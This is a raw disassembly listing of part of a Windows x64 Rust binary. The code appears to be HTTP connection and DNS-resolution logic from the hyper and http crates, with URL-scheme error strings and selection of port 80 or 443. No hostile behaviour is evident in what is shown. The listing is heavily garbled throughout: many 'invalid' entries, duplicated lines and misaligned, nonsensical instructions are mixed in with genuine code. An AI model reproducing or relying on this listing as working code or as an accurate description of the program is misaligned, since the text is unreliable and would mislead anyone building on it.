push rbp
push rbx
sub rsp, 0xb28
movapd xmmword [rsp + 0xb10], xmm6
and al, 0x10
or eax, dword [rax]
add byte [rcx + rcx*4 - 0x3a], cl
invalid
and al, 0x10
or eax, dword [rax]
add byte [rcx + rcx*4 - 0x3a], cl
invalid
invalid
mov rdi, rdx
mov rbx, rcx
movzx eax, byte [rdx + 0xeb0]
invalid
add byte [rax], al
test eax, eax
je 0x1400b56d4
invalid
cmp eax, 3
jne case.0x1400aaffb.33
mov dh, 0x87
xor al, byte [rcx]
add byte [rax], al
lea rbp, [rdi + 0x70]
lea rcx, [0x140174ba0]
hlt
or eax, dword [rax]
hlt
or eax, dword [rax]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov r14, qword [rdi + 0xc8]
enter 0, 0
add bl, ch
jmp 0x1400b572f
pop rbx
lea r14, [rdi + 0x58]
lea rbp, [rdi + 0x70]
mov rax, qword [rdi + 0x50]
push rax
push rax
mov qword [rdi + 0xc0], rax
movups xmm0, xmmword [rdi + 0x40]
movups xmmword [rdi + 0xb0], xmm0
adc dword [rdi + 0xb0], eax
adc dword [rdi + 0xb0], eax
mov al, 0
add byte [rax], al
invalid
add byte [rdi], cl
adc byte [rdi], al
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
xor byte [rdi], cl
adc dword [rdi + 0xa0], ebx
xor byte [rdi], cl
adc dword [rdi + 0xa0], ebx
movups xmmword [rdi + 0x90], xmm2
movups xmmword [rdi + 0x80], xmm1
add byte [rax], 0
invalid
add byte [rax], al
add byte [rdi], cl
adc dword [rdi + 0x80], ecx
add byte [rax], 0
invalid
add byte [rax], 0
add byte [rdi], cl
adc dword [rdi + 0x70], eax
invalid
movups xmmword [rdi + 0x70], xmm0
jo 0x1400b5767
mov qword [rdi + 0xc8], r14
mov dword [rdi + 0xc8], esi
add byte [rbp + rcx*4 - 0x51], cl
xor al, byte [rcx]
add byte [rax], al
lea r13, [rdi + 0x132]
mov byte [rdi + 0x132], 0
mov byte [rdi + 0x133], 0
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
movups xmm0, xmmword [rbp]
movups xmm1, xmmword [rbp + 0x10]
movups xmm2, xmmword [rbp + 0x20]
movups xmm3, xmmword [rbp + 0x30]
pop rbp
xor byte [rdi], cl
adc dword [rdi + 0xd0], eax
pop rbp
xor byte [rdi], cl
adc dword [rdi + 0xd0], eax
movups xmmword [rdi + 0xe0], xmm1
movups xmmword [rdi + 0xf0], xmm2
lock add byte [rax], al
add byte [rdi], cl
adc dword [rdi + 0x100], ebx
add dword [rax], eax
invalid
lock add byte [rax], al
add byte [rax], al
add byte [rdi], cl
adc dword [rdi + 0x100], ebx
add dword [rax], eax
invalid
add dword [rax], eax
add bl, dh
movq mm0, qword [rbp + 0x40]
outsd dx, dword [rsi]
invalid
invalid
movdqu xmm0, xmmword [rbp + 0x40]
outsd dx, dword [rsi]
movdqu xmmword [rdi + 0x110], xmm0
movq qword [rdi + 0x110], mm0
xchg dword [rax], edx
add dword [rax], eax
invalid
movdqu xmmword [rdi + 0x110], xmm0
xchg dword [rax], edx
add dword [rax], eax
add byte [rax - 0x75], cl
push r8
mov rax, qword [rbp + 0x50]
mov qword [rdi + 0x120], rax
add dword [rax], eax
add byte [rcx + rcx*4 - 0x49], cl
mov bh, 0x28
invalid
add byte [rax], al
mov qword [rdi + 0x128], r14
add dword [rax], eax
add byte [rcx - 0x75], cl
invalid
add byte [rax], al
mov rax, qword [r14]
cmp byte [rax + 0x60], 0
movzx eax, byte [rdi + 0xd0]
je 0x1400b57c6
add byte [rax], al
add byte [rbp + rsi - 0x7c], dh
test al, al
je 0x1400b5890
test bh, dh
add byte [rax], al
add byte [rax], al
movzx eax, al
cmp eax, 1
invalid
test dl, ah
test al, al
je 0x1400b5890
test bh, dh
add byte [rax], al
add byte [rax], al
test bh, dh
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
movzx eax, al
mov dh, 0xc0
cmp eax, 1
je 0x1400b5887
add byte [rax], al
add dword [rdi], ecx
test dl, ah
add byte [rax], al
add byte [rbx - 0x7bf0fd08], al
add cl, byte [rdi]
test dl, ah
invalid
cmp eax, 2
je 0x1400b5890
add cl, byte [rdi]
test dl, ah
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
add byte [rax], al
lea rcx, str.internal_error:_entered_unreachable_code_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_std_src_threadmod.rs
or eax, 0x92c63
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuri_scheme.rs_f
mov edx, 0x28
call fcn.1401046f0
sub ch, bh
add al, 0
fmul qword [rsi]
invalid
invalid
sub ch, bh
add al, 0
test al, al
jne 0x1400b58c8
add byte [rax], al
add byte [rax], al
movzx eax, byte [0x14017d2b0]
mov esi, 0x1e
mov edx, 0x1e
add byte [rax], al
add byte [rcx], dh
leave
add byte [rcx], dh
leave
call fcn.1400e0010
test rax, rax
je 0x1400b74a0
movups xmm0, xmmword [0x140128e8d]
movups xmmword [rax + 0xe], xmm0
movups xmm0, xmmword [0x140128e7f]
add eax, 0x7367e
xchg edi, eax
invalid
invalid
add eax, 0x7367e
jmp 0x1400b595e
lea r14, [rdi + 0xb28]
lea esi, [rdi + 0xb28]
movzx eax, byte [rdi + 0xb28]
sub byte [rbx], cl
add byte [rax], al
lea rcx, [rdi + 0x138]
mov qword [rsp + 0x38], rcx
lea rcx, [0x140174bb4]
or eax, 0xbf38d
or eax, 0xbf38d
or eax, dword [rax]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov qword [rsp + 0x80], r13
jmp rax
mov r12, rsi
mov qword [rsp + 0x30], rbp
mov r13, qword [rsp + 0x38]
jmp 0x1400b6cd6
lea r15, [rdi + 0x179]
mov edi, 0x179
add byte [rdi], cl
mov dh, 0x87
jns 0x1400b5857
movzx eax, byte [rdi + 0x179]
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0xbf371
lea rcx, [0x140174bd0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov qword [rsp + 0x30], rbp
mov r14, qword [rdi + 0x170]
mov rdx, qword [rdi + 0x158]
mov rbp, qword [rdi + 0x160]
jmp 0x1400b5ddc
cmp byte [rdi + 0xd1], 0
je 0x1400b58c8
movzx eax, byte [0x14017d2b0]
mov esi, 0x1f
mov edx, 0x1f
xor ecx, ecx
call fcn.1400e0010
test rax, rax
test eax, eax
je 0x1400b7476
movups xmm0, xmmword [0x140128e6f]
movups xmmword [rax + 0xf], xmm0
movups xmm0, xmmword [str.invalid_URL__scheme_is_not_httpinvalid_URL__scheme_is_missinginvalid_URL__host_is_missingConnectError]
jmp 0x1400b595e
mov rdx, qword [rdi + 0xf0]
test rdx, rdx
je 0x1400b592b
sal byte [rdi + rdx*2 + 0x48], cl
mov ecx, dword [rdi + 0xe8]
mov rcx, qword [rdi + 0xe8]
call fcn.1400332b0
test rax, rax
je 0x1400b592b
invalid
ror byte [rdi], 0x84
jae 0x1400b58fa
add byte [rax], al
mov rdx, qword [rdi + 0xe8]
lea rcx, [rsp + 0x1f8]
add dword [rax], eax
invalid
add byte [rax - 0x75], cl
xchg edi, eax
call 0x1880b5903
lea ecx, [rsp + 0x1f8]
add dword [rax], eax
invalid
add dword [rax], eax
add al, ch
call fcn.140032d50
cmp qword [rsp + 0x1f8], 0
je 0x1400b5a6e
add dword [rax], eax
invalid
invalid
add dword [rax], eax
add byte [rdi], cl
mov bh, 0x8c
and al, 8
add al, byte [rax]
add cl, ch
imul eax, dword [rcx], 0xb60f0000
movzx ecx, word [rsp + 0x208]
jmp 0x1400b5a94
add eax, 0xc797e
mov esi, 0x1c
mov edx, 0x1c
add byte [rcx], dh
leave
add byte [rcx], dh
leave
call fcn.1400e0010
test rax, rax
ror byte [rdi], 0x84
sbb r8d, dword [r8]
invalid
ror byte [rdi], 0x84
sbb r8d, dword [r8]
add byte [rdi], cl
movups xmm0, xmmword [0x140128ea9]
adc byte [0x140128ea9], al
movups xmmword [rax + 0xc], xmm0
movups xmm0, xmmword [0x140128e9d]
invalid
invalid
invalid
or al, 0xf
adc byte [0x140128e9d], al
invalid
invalid
invalid
xor eax, 0x110f0007
movups xmmword [rax], xmm0
movq xmm6, rax
movd mm6, eax
add byte [rsi + 0x48], ah
movd mm6, eax
movd xmm0, esi
punpcklqdq xmm6, xmm0
invalid
insb byte [rdi], dx
invalid
xor r15d, r15d
inc dword [rbp + 0x31]
invalid
invalid
invalid
inc dword [rbp + 0x31]
in al, 0x80
cmp byte [rdi + 0xd0], 2
jb 0x1400b59a8
mov edi, 0xd0
add dh, byte [rdx + 0x2b]
mov r14, qword [rdi + 0xd8]
add byte [rcx - 0x73], cl
sbb byte [rcx - 0x75], r9b
invalid
lea rcx, [r14 + 0x18]
mov rax, qword [r14]
mov rdx, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
call qword [rax + 0x10]
adc byte [rax - 0x75], cl
or eax, 0xc786b
adc byte [rax - 0x75], cl
or eax, 0xc786b
mov ecx, dword [0x14017d208]
xor edx, edx
mov r8, r14
mov eax, esi
mov eax, esi
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
lea rcx, [rdi + 0xf8]
mov rax, qword [rdi + 0xe0]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
xchg edi, eax
call 0x18c0b59be
mov eax, dword [rdi + 0xf0]
add byte [rax], al
mov rdx, qword [rdi + 0xe8]
mov r8, qword [rdi + 0xf0]
call qword [rax + 0x10]
lea rcx, [rdi + 0x118]
lea ecx, [rdi + 0x118]
add dword [rax], eax
add byte [rax - 0x75], cl
xchg dword [rax], eax
add dword [rax], eax
add byte [rax - 0x75], cl
xchg edi, eax
or byte [rcx], al
add byte [rax], al
invalid
mov rax, qword [rdi + 0x100]
mov rdx, qword [rdi + 0x108]
invalid
add byte [rbx + rcx*4 - 0x79], cl
adc byte [rcx], al
add byte [rax], al
mov r8, qword [rdi + 0x110]
mov eax, dword [rdi + 0x110]
call qword [rax + 0x10]
mov byte [rdi + 0x132], 1
add byte [rcx], al
push rax
adc dh, al
xchg dword [rdx], esi
add dword [rax], eax
add byte [rcx], al
mov r13d, 2
mov rcx, rbp
call fcn.1400b8a80
test dword [rax], esi
add byte [rax], al
test dword [rax], esi
add byte [rax], al
xor byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
mov rax, qword [rdi + 0x58]
pop r8
lock dec qword [rax]
jne 0x1400b5a0e
mov rcx, qword [rdi + 0x58]
call fcn.140036760
clc
invalid
or eax, 0x8b48fff8
clc
dec dword [rax - 0x75]
mov rax, qword [rdi + 0x60]
lock dec qword [rax]
jne case.0x1400970a3.137
invalid
mov rcx, qword [rdi + 0x60]
mov rdx, qword [rdi + 0x68]
invalid
push 0xfffffffff4efabe8
dec dword [rcx + rcx*4 + 0x2b]
mov qword [rbx], r13
call fcn.1400049d0
mov qword [rbx], r13
sub esp, dword [rsi + 0xf]
adc dword [rbx + 8], esi
movupd xmmword [rbx + 8], xmm6
mov qword [rbx + 0x18], r15
mov qword [rbx + 0x20], r12
invalid
mov al, 1
jmp 0x1400b7119
invalid
add byte [rax], al
invalid
mov rdx, qword [rdi + 0x180]
mov r9, qword [rdi + 0x188]
jmp 0x1400b5e3f
mov qword [rsp + 0x30], rbp
mov r14, qword [rdi + 0x168]
mov rdx, qword [rdi + 0x188]
add byte [rax - 0x75], cl
scasd eax, dword [rdi]
nop
add dword [rax], eax
add cl, ch
xchg ecx, eax
add eax, dword [rax]
invalid
add byte [rax - 0x75], cl
scasd eax, dword [rdi]
nop
add dword [rax], eax
add cl, ch
xchg ecx, eax
add eax, dword [rax]
add byte [rax - 0x73], cl
xchg eax, edx
add byte [rax], al
add byte [rdi], cl
mov dh, 0
lea rax, [rdi + 0xd0]
movzx eax, byte [rax]
mov cx, 0x50
test al, 1
je 0x1400b5a94
cmp byte [rdi + 0xd1], 0
mov eax, 0x50
mov ecx, 0x1bb
cmove ecx, eax
mov dword [rsp + 0x38], ecx
mov word [rdi + 0x130], cx
xor ecx, ecx
jmp 0x1400b5abf
add byte [rax], al
add byte [rax], al
add byte [rax - 1], cl
ror dword [rcx + rbp - 0x1f], 0x83
cli
pop rbx
inc rcx
sub rcx, r12
cmp edx, 0x5b
jne 0x1400b5b55
add byte [rax], al
cmp rcx, r15
je 0x1400b5b52
add rcx, r12
movzx r10d, byte [rcx]
movzx edx, r10b
test dl, dl
jns 0x1400b5ab0
mov r8d, edx
and r8d, 0x1f
movzx r11d, byte [rcx + 1]
add dword [rcx - 0x7d], eax
jrcxz case.0x1400a9080.60
cmp dl, 0xdf
jbe 0x1400b5b2c
add dword [rcx - 0x7d], eax
jrcxz case.0x1400a9080.60
movzx r9d, byte [rcx + 2]
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
cmp r10b, 0xf0
jb 0x1400b5b3f
movzx edx, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
shl r9d, 6
and edx, 0x3f
invalid
or edx, r9d
or edx, r8d
cmp edx, 0x110000
je 0x1400b5b52
invalid
add rcx, 4
jmp 0x1400b5ab3
add al, 0xeb
xchg dword [rax - 0x7d], ecx
rol dword [rdx], 0x41
shl eax, 6
add rcx, 2
shl r8d, 6
or r8d, r11d
mov edx, r8d
jmp 0x1400b5ab3
add rcx, 3
shl r8d, 0xc
or r9d, r8d
mov edx, r9d
jmp 0x1400b5ab3
invalid
rol dword [rcx + rcx*4 - 0x36], 0xe9
invalid
dec dword [rcx + rcx*4 - 8]
mov rax, r15
mov qword [rsp + 0x30], rbp
add r12, rax
add esp, eax
xor byte [rcx + 1], cl
invalid
add esp, eax
sub r15, rax
mov qword [rsp + 0x80], r13
mov dword [rsp + 0x80], ebp
mov qword [rsp + 0x60], rsi
jmp 0x1400b5b82
dec r15
dec edi
movzx eax, al
sub r15, r12
sub edi, esp
cmp eax, 0x5d
jne 0x1400b5c3d
invalid
add byte [rbp - 0x7b], cl
push qword [rbp + riz*2 + 0x4c]
mov ebp, edi
std
test r15, r15
je 0x1400b5bec
mov rbp, r15
std
add r15, r12
add edi, esp
movzx eax, byte [r15 - 1]
test al, al
jns 0x1400b5b70
invalid
fiadd dword [rcx + 0xf]
mov dh, 0x4f
inc byte [rax + 0x237dc0f9]
invalid
jge 0x1400b5bc3
invalid
movzx ecx, byte [r15 - 2]
cmp cl, 0xc0
invalid
jge 0x1400b5bc3
invalid
sar byte [rbp + 0x23], 0x41
movzx edx, byte [rdi - 3]
and eax, dword [rcx + 0xf]
mov dh, 0x57
std
movzx edx, byte [r15 - 3]
cmp dl, 0xbf
jg 0x1400b5bcc
movzx r8d, byte [r15 - 4]
add r15, 0xfffffffffffffffc
invalid
cld
and r8d, 7
shl r8d, 6
invalid
and edx, 0x3f
or edx, r8d
jmp 0x1400b5bd3
add r15, 0xfffffffffffffffe
and ecx, 0x1f
jmp 0x1400b5bdb
invalid
add r15, 0xfffffffffffffffd
add edi, 0xfffffffd
std
and edx, 0xf
shl edx, 6
and ecx, 0x3f
or ecx, edx
shl ecx, 6
and al, 0x3f
movzx eax, al
mov dh, 0xc0
or eax, ecx
cmp eax, 0x110000
jne 0x1400b5b76
lea r15, [rdi + 0x138]
xor ebp, ebp
jmp 0x1400b5c4e
mov r15, qword [rdi + 0xb30]
test r15, r15
jne 0x1400b7001
mov r15, qword [rdi + 0xb38]
test r15, r15
jne 0x1400b6e30
xchg esp, eax
or byte [rax], al
lea r8, [0x14013f118]
mov edx, 0x18
call fcn.140104a60
mov r15, qword [rdi + 0xb60]
jmp 0x1400b70dc
lea r15, [rdi + 0x138]
cmp rbp, 0xf
ja 0x1400b5d14
mov r13, rbx
mov qword [rsp + 0x1f8], r12
mov qword [rsp + 0x200], rbp
lea rcx, [rsp + 0x1f8]
call fcn.1400157d0
mov rcx, rax
shr rcx, 8
and ecx, 0xffffff00
xor esi, esi
cmp qword [rsp + 0x200], 0
sete r8b
movzx edx, ah
cmove esi, ecx
and al, r8b
mov ebx, 1
cmovne ebx, edx
cmp al, 1
jne 0x1400b5d04
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x98], rbp
lea rcx, [rsp + 0x1f8]
lea rdx, [rsp + 0x90]
call fcn.140015b70
cmp qword [rsp + 0x98], 0
jne 0x1400b5d52
mov dword [rdi + 0x158], esi
mov qword [rdi + 0x160], rbp
mov qword [rdi + 0x170], r14
lea r15, [rdi + 0x179]
mov byte [rdi + 0x179], 0
mov rsi, qword [rsp + 0x60]
lea rax, [rdi + 0x168]
mov qword [rdi + 0x168], r14
mov qword [rdi + 0x188], rdx
mov qword [rdi + 0x190], rbp
mov qword [rdi + 0x180], rax
mov byte [rdi + 0x178], 0
mov rax, qword [r14]
mov r9, qword [r14 + 8]
mov rcx, qword [r9 + 0x10]
dec rcx
and rcx, 0xfffffffffffffff0
add rcx, rax
add rcx, 0x10
mov r8, rbp
call qword [r9 + 0x18]
mov r9, rdx
mov rdx, rax
mov qword [rdi + 0x180], rax
mov qword [rdi + 0x188], r9
add dword [rax], eax
add byte [rax - 0x75], cl
insb byte [rdi], dx
and al, 0x30
add dword [rax], eax
add byte [rax - 0x75], cl
insb byte [rdi], dx
and al, 0x30
lea rcx, [rsp + 0x1f8]
mov qword [rsp + 0x60], rsi
mov r8, rsi
call qword [r9 + 0x18]
mov rsi, qword [rsp + 0x1f8]
cmp rsi, 2
jne 0x1400b5e6c
mov byte [r15], 4
mov al, 3
jmp 0x1400b710c
mov qword [rsp + 0x40], rbx
mov r15, qword [rsp + 0x200]
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x50], rax
mov r12, qword [rdi + 0x180]
mov rbx, qword [rdi + 0x188]
mov rcx, r12
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400b5ebe
cmp qword [rbx + 0x10], 0x11
jb 0x1400b5eac
mov r12, qword [r12 - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
mov word [rdi + 0x178], 0x100
test rsi, rsi
je 0x1400b5f46
movzx eax, byte [0x14017d2b0]
mov edx, 9
xor ecx, ecx
call fcn.1400e0010
test rax, rax
mov r12, qword [rsp + 0x50]
je 0x1400b74bb
mov r14, rax
movabs rax, 0x6f72726520736e64
mov qword [r14], rax
mov byte [r14 + 8], 0x72
mov r8, qword [rdi + 0x138]
test r8, r8
mov rbx, qword [rsp + 0x40]
je 0x1400b5f2c
cmp qword [rdi + 0x148], 0
je 0x1400b5f2c
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rdi + 0x133], 0
movq xmm6, r14
shufpd xmm6, xmmword [0x14010fa30], 2
jmp 0x1400b5974
mov r12, qword [rsp + 0x50]
mov rax, qword [r12 + 0x18]
lea rcx, [rsp + 0x1f8]
mov rdx, r15
mov qword [rsp + 0x38], rax
call rax
movzx ebx, word [rsp + 0x1f8]
cmp bx, 2
mov qword [rsp + 0x80], r13
jne 0x1400b5fc8
mov rcx, r15
call qword [r12]
mov r14d, 4
cmp qword [r12 + 8], 0
je 0x1400b6371
cmp qword [r12 + 0x10], 0x11
jl 0x1400b5fb9
adc byte [rcx], dl
mov rsi, qword [rsp + 0x60]
jb 0x1400b5fa2
mov r15, qword [r15 - 8]
mov rbx, qword [rsp + 0x40]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
xor r11d, r11d
xor eax, eax
mov qword [rsp + 0x38], rax
jmp 0x1400b6385
mov qword [rsp + 0x30], rbp
mov eax, dword [rsp + 0x1fa]
mov dword [rsp + 0x68], eax
movzx eax, word [rsp + 0x216]
mov word [rsp + 0x58], ax
movzx ebp, word [rdi + 0x130]
test bx, bx
movzx esi, word [rsp + 0x1fe]
cmove si, bp
cmove bp, word [rsp + 0x214]
movdqu xmm0, xmmword [rsp + 0x200]
movdqa xmmword [rsp + 0x130], xmm0
mov eax, dword [rsp + 0x210]
mov dword [rsp + 0x140], eax
mov rax, qword [r12 + 0x20]
lea rcx, [rsp + 0x1f8]
mov word [rax + rdi*8], fs
add dword [rax], eax
add byte [rcx + rcx*4 - 6], cl
mov word [rax + rdi*8], fs
add dword [rax], eax
add byte [rcx + rcx*4 - 6], cl
mov qword [rsp + 0x78], rax
call rax
mov rax, qword [rsp + 0x1f8]
inc rax
mov rcx, 0xffffffffffffffff
cmovne rcx, rax
cmp rcx, 5
mov r14d, 4
cmovae r14, rcx
shr rcx, 0x3a
jne 0x1400b74e5
mov r12, r14
shl r12, 5
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, r12
call fcn.1400e0010
test rax, rax
je 0x1400b7503
mov r13, rax
mov word [rax], bx
mov eax, dword [rsp + 0x68]
mov dword [r13 + 2], eax
mov word [r13 + 6], si
movdqa xmm0, xmmword [rsp + 0x130]
movdqu xmmword [r13 + 8], xmm0
mov eax, dword [rsp + 0x140]
mov dword [r13 + 0x18], eax
mov word [r13 + 0x1c], bp
movzx eax, word [rsp + 0x58]
mov word [r13 + 0x1e], ax
mov qword [rsp + 0x90], r14
mov qword [rsp + 0x98], r13
mov qword [rsp + 0xa0], 1
lea rcx, [rsp + 0x1f8]
mov rdx, r15
call qword [rsp + 0x38]
movzx ebx, word [rsp + 0x1f8]
mov r8d, 1
cmp bx, 2
jne 0x1400b616b
mov rcx, r15
mov rsi, r8
mov r14, qword [rsp + 0x50]
call qword [r14]
mov r11, rsi
cmp qword [r14 + 8], 0
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x60]
je 0x1400b6151
cmp qword [r14 + 0x10], 0x11
jb 0x1400b6137
mov r15, qword [r15 - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov r11, qword [rsp + 0xa0]
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x38], rax
mov r14, qword [rsp + 0x98]
jmp 0x1400b6385
mov esi, 0x20
mov qword [rsp + 0x48], r15
jmp 0x1400b61f4
mov word [r13 + rsi], bx
mov dword [r13 + rsi + 2], r12d
mov word [r13 + rsi + 6], bp
movdqa xmm0, xmmword [rsp + 0x190]
movdqu xmmword [r13 + rsi + 8], xmm0
mov eax, dword [rsp + 0x1a0]
mov dword [r13 + rsi + 0x18], eax
mov word [r13 + rsi + 0x1c], r14w
mov word [r13 + rsi + 0x1e], r15w
inc r8
mov qword [rsp + 0xa0], r8
lea rcx, [rsp + 0x1f8]
mov r15, qword [rsp + 0x48]
mov rdx, r15
mov rbx, r8
call qword [rsp + 0x38]
mov r8, rbx
movzx ebx, word [rsp + 0x1f8]
mov bh, 0x9c
and al, 0xf8
add dword [rax], eax
add byte [rax - 0x7d], cl
invalid
and byte [rsi - 0x7d], ah
sti
add cl, byte [rdi]
test byte [rcx], dl
invalid
invalid
invalid
mov bh, 0x9c
and al, 0xf8
add dword [rax], eax
add byte [rax - 0x7d], cl
invalid
movzx r14d, word [rdi + 0x130]
test bx, bx
movzx ebp, word [rsp + 0x1fe]
cmove bp, r14w
cmove r14w, word [rsp + 0x214]
mov r12d, dword [rsp + 0x1fa]
movzx r15d, word [rsp + 0x216]
lea rax, [rsp + 0x200]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x190], xmm0
mov eax, dword [rax + 0x10]
mov dword [rsp + 0x1a0], eax
cmp r8, qword [rsp + 0x90]
jne 0x1400b6180
lea rcx, [rsp + 0x1f8]
mov rdx, qword [rsp + 0x48]
mov r13, r8
call qword [rsp + 0x78]
mov r8, qword [rsp + 0x1f8]
inc r8
mov rax, 0xffffffffffffffff
cmove r8, rax
lea rcx, [rsp + 0x90]
mov rdx, r13
call fcn.14010ac40
mov r8, r13
mov r13, qword [rsp + 0x98]
jmp 0x1400b6180
xor r11d, r11d
xor eax, eax
mov qword [rsp + 0x38], rax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x60]
shl r11, 5
add r11, r14
lea r15, [rdi + 0x138]
mov r8, qword [rdi + 0x138]
test r8, r8
je 0x1400b63c7
cmp byte [rdi + 0x133], 0
je 0x1400b63c7
cmp qword [rdi + 0x148], 0
je 0x1400b63c7
mov rcx, qword [0x14017d208]
xor edx, edx
mov r12, r11
call qword [sym.imp.kernel32.dll_HeapFree]
mov r11, r12
mov r8, r14
mov byte [rdi + 0x133], 0
mov rax, qword [rdi + 0x128]
mov rdx, qword [rax]
mov ecx, dword [rdx + 0x48]
cmp ecx, 0x3b9aca00
mov r13, r8
mov qword [rsp + 0x30], rbp
jne 0x1400b643e
mov ecx, dword [rdx + 0x38]
mov eax, 2
cmp ecx, 0x3b9aca00
je 0x1400b64cd
mov r10, r11
sub r10, r14
shr r10, 5
test r10d, r10d
je 0x1400b64cd
mov qword [rsp + 0x58], rdx
mov rax, qword [rdx + 0x30]
mov r9d, r10d
mov rdx, rax
shr rdx, 0x20
je 0x1400b6884
xor edx, edx
div r9
mov r8, rdx
mov r12, rax
jmp 0x1400b688f
mov rax, qword [rdx + 0x40]
mov qword [rsp + 0x68], rax
movzx eax, byte [rdx + 0x66]
test byte [rdx + 0x61], 1
jne 0x1400b64da
test al, al
je 0x1400b64e2
mov rax, r8
cmp r14, r11
je 0x1400b6687
mov rax, r8
jmp 0x1400b647b
movzx ecx, word [r14]
cmp cx, 2
je 0x1400b6687
mov dword [rsp + 0x48], 0x3b9aca00
jmp 0x1400b6bd7
test al, al
je 0x1400b6621
mov dword [rsp + 0x8c], ecx
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x40], rbx
cmp r11, r14
mov qword [rsp + 0x58], rdx
je 0x1400b66bf
movzx esi, word [r14]
mov qword [rsp + 0x100], 0
mov qword [rsp + 0x108], 4
mov qword [rsp + 0x110], 0
mov qword [rsp + 0x130], 0
mov qword [rsp + 0x138], 4
mov qword [rsp + 0x140], 0
jmp 0x1400b65a3
movzx ebx, word [r14]
cmp bx, 2
je 0x1400b6707
mov rax, r8
cmp r14, r11
je 0x1400b6687
mov rax, r8
jmp 0x1400b6637
movzx ecx, word [r14]
cmp cx, 2
je 0x1400b6687
movabs rcx, 0x7ffffffffffffff
mov r14, qword [rsp + 0x38]
and r14, rcx
mov r10d, 4
xor r12d, r12d
mov r11, rax
mov ecx, dword [rdx + 0x38]
mov r9d, 0x3b9aca00
cmp ecx, 0x3b9aca00
jne case.0x140069415.337
jmp 0x1400b6981
mov qword [rsp + 0x100], 0
mov qword [rsp + 0x108], 4
mov qword [rsp + 0x110], 0
mov qword [rsp + 0x130], 0
mov qword [rsp + 0x138], 4
mov qword [rsp + 0x140], 0
cmp qword [rsp + 0x38], 0
cmp byte [rax], al
cmp byte [rax], al
je 0x1400b671e
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, qword [rsp + 0x100]
mov esi, dword [rsp + 0x100]
mov r8, qword [rsp + 0x108]
mov r9, qword [rsp + 0x110]
add dword [rax], eax
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0x30
add dword [rax], eax
add byte [rbx + rcx*4 - 0x6c], cl
and al, 0x38
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rbp - 0x77], cl
retf
shl r11, 5
add r11, r8
test rax, rax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x60]
je 0x1400b67d9
add dword [rax], eax
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0x30
add dword [rax], eax
add byte [rbx + rcx*4 - 0x6c], cl
and al, 0x38
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rbp - 0x77], cl
retf
mov qword [rsp + 0x78], r12
mov r13, qword [rsp + 0x58]
mov ebp, dword [r13 + 0x38]
cmp ebp, 0x3b9aca00
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x38], r14
jne 0x1400b6835
lea r9, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
lea rcx, [rsp + 0x90]
lea ecx, [rsp + 0x90]
lea ecx, [rsp + 0x90]
mov rdx, qword [rsp + 0x68]
mov r12, r8
mov r8d, dword [rsp + 0x8c]
mov r14, r11
mov esi, ebx
mov esi, ebx
mov rbp, r10
call fcn.1400f5260
mov rcx, qword [rsp + 0x50]
mov r10, rbp
mov rdx, r13
mov r8, r12
mov r11, r14
mov dword [rsp + 0x48], 0x3b9aca00
mov r12d, 0x3b9aca00
jmp 0x1400b6b3e
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rdx + 0x38]
mov r9d, 0x3b9aca00
cmp ecx, 0x3b9aca00
je 0x1400b66ba
mov r13, r10
mov r10, r11
sub r10, r8
shr r10, 5
test r10d, r10d
je 0x1400b687c
mov qword [rsp + 0x78], r12
mov qword [rsp + 0x70], r8
mov qword [rsp + 0x58], rdx
pop rax
pop rax
mov rax, qword [rdx + 0x30]
mov r9d, r10d
mov rdx, rax
shr rdx, 0x20
je 0x1400b6903
xor edx, edx
div r9
mov r8, rdx
jmp 0x1400b690b
mov qword [rsp + 0x70], r8
mov rax, qword [r13 + 0x30]
mov r12d, 0x3b9aca00
test r9d, r9d
mov dword [rsp + 0x88], ebp
mov qword [rsp + 0x188], rax
je 0x1400b69d0
mov r8d, r9d
mov rcx, rax
shr rcx, 0x20
je 0x1400b69e0
xor edx, edx
div r8
mov rcx, rdx
mov r13, rax
